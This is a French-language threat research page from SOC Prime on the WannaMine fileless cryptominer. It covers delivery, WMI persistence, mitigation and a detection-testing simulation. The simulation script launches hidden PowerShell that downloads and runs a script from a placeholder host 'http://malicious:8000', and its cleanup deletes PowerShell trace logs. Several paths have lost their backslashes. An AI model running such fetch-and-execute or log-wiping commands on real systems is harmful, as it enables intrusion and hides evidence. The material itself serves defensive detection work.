SOC Prime Bias: Critique

14 Jan 2026 15:14 UTC

Analyse du cryptomineur WannaMine : Exécution sans fichier et persistance

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Analyse du cryptomineur WannaMine : Exécution sans fichier et persistance
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

WannaMine est un ver de cryptominage sans fichier qui s’appuie sur des outils de type ‘living-off-the-land’—principalement PowerShell et Windows Management Instrumentation (WMI)—pour rester en mémoire et miner du Monero.

Enquête

WannaMine est livré soit par des emails de phishing contenant des fichiers batch malveillants, soit en exploitant la vulnérabilité SMB d’EternalBlue. Pour la persistance, il enregistre des abonnements à des événements WMI et stocke du PowerShell encodé dans des classes WMI personnalisées.

Atténuation de WannaMine

Empêchez l’exploitation d’EternalBlue en appliquant les correctifs SMB (MS17-010). Limitez l’exécution et la surveillance de PowerShell, surveillez la création inhabituelle de classes WMI et de consommateurs d’événements, et appliquez le principe du moindre privilège pour limiter l’utilisation abusive des identifiants.

Réponse

Alertez sur les comportements anormaux de PowerShell/WMI, isolez les hôtes impactés, supprimez les consommateurs/abonnements d’événements WMI malveillants, faites pivoter les identifiants potentiellement exposés, et effectuez des analyses forensiques de la mémoire pour confirmer le mineur en mémoire.

Flux d’attaque

Exécution de Simulation

Prérequis : Le contrôle pré-vol de la Télémétrie & Baseline doit avoir été réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer exactement la télémétrie attendue par la logique de détection.

  • Narratif de l’Attaque & Commandes :
    Un attaquant obtient une exécution de code à distance sur un point de terminaison Windows. Pour éviter l’interaction de l’utilisateur, il lance PowerShell dans une fenêtre cachée (-W Hidden) sans profil (-NoP) et non-interactif (-NonI). La commande utilise IEX pour télécharger une charge utile PowerShell depuis un serveur HTTP malveillant (http://malicious:8000/in6.ps1). Le script téléchargé enregistre une classe WMI nommée Office_Updater sous rootdefault qui stocke une propriété mon contenant un mineur de Monero encodé en Base64. L’attaquant lit ensuite la propriété via [WmiClass] et l’invoque, lançant effectivement le cryptomineur sans créer un nouveau processus. Cette séquence correspond aux trois sous-chaînes de lignes de commande de la règle de détection.

  • Script de Test de Régression :

    #-------------------------------------------------
    # Simuler l'exécution du cryptomineur sans fichier WannaMine
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Exécution PowerShell cachée, non-interactive
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Exécuter la commande (c'est ce que l'attaquant lancerait)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Note : Le script distant (in6.ps1) doit créer la classe WMI
    # avec une propriété "mon" contenant le code de minage.
  • Commandes de Nettoyage :

    # Supprimer la classe WMI malveillante
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Arrêter tout processus de minage PowerShell persistant (s'il y en a eu de lancés)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Optionnel : Effacer les fichiers de transcription/journaux PowerShell créés pendant le test
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue